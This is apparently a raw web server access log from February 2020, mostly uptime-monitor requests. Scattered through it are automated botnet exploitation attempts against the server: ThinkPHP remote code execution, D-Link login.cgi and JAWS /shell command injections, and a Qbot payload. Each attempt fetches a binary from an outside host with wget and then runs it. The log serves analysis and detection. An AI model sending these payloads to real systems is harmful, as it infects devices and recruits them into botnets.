212.91.246.72 - - [07/Feb/2020:07:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.193.167 - - [07/Feb/2020:08:02:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.4.211.118 - - [07/Feb/2020:08:02:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:08:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.248.188.184 - - [07/Feb/2020:08:03:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:08:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.45.51 - - [07/Feb/2020:08:03:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.137.201 - - [07/Feb/2020:08:03:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.104.89.157 - - [07/Feb/2020:08:03:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:08:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.48.171.22 - - [07/Feb/2020:08:08:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.133.94.210 - - [07/Feb/2020:08:11:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:08:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.59.29 - - [07/Feb/2020:08:13:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.203.76.225 - - [07/Feb/2020:08:21:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
88.229.59.182 - - [07/Feb/2020:08:21:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:08:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [07/Feb/2020:08:23:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.40.191.116 - - [07/Feb/2020:08:24:25 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:25 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:26 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:26 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:26 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:27 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:27 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:28 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [07/Feb/2020:08:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:08:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.145.23 - - [07/Feb/2020:08:24:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.251.253.55 - - [07/Feb/2020:08:28:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.119.241.225 - - [07/Feb/2020:08:29:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.170.181.191 - - [07/Feb/2020:08:33:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.167.80 - - [07/Feb/2020:08:35:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.73.123.35 - - [07/Feb/2020:08:35:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:08:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [07/Feb/2020:08:41:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:08:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.40.184 - - [07/Feb/2020:08:41:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.221.164.111 - - [07/Feb/2020:08:41:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.79.143 - - [07/Feb/2020:08:42:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.36.21 - - [07/Feb/2020:08:42:22 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:08:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.203.131.66 - - [07/Feb/2020:08:42:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:08:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.58.61.49 - - [07/Feb/2020:08:45:54 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [07/Feb/2020:08:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.28.106 - - [07/Feb/2020:08:49:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.41.12 - - [07/Feb/2020:08:50:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.235.158.124 - - [07/Feb/2020:08:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
58.187.242.240 - - [07/Feb/2020:08:53:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.11.247.30 - - [07/Feb/2020:08:55:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:08:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.151.167.78 - - [07/Feb/2020:08:58:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:08:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:08:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.41.12 - - [07/Feb/2020:09:00:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [07/Feb/2020:09:01:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.206 - - [07/Feb/2020:09:01:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.222.35 - - [07/Feb/2020:09:01:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.201.161.107 - - [07/Feb/2020:09:03:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [07/Feb/2020:09:12:29 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:09:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.13 - - [07/Feb/2020:09:14:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
31.148.29.173 - - [07/Feb/2020:09:15:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
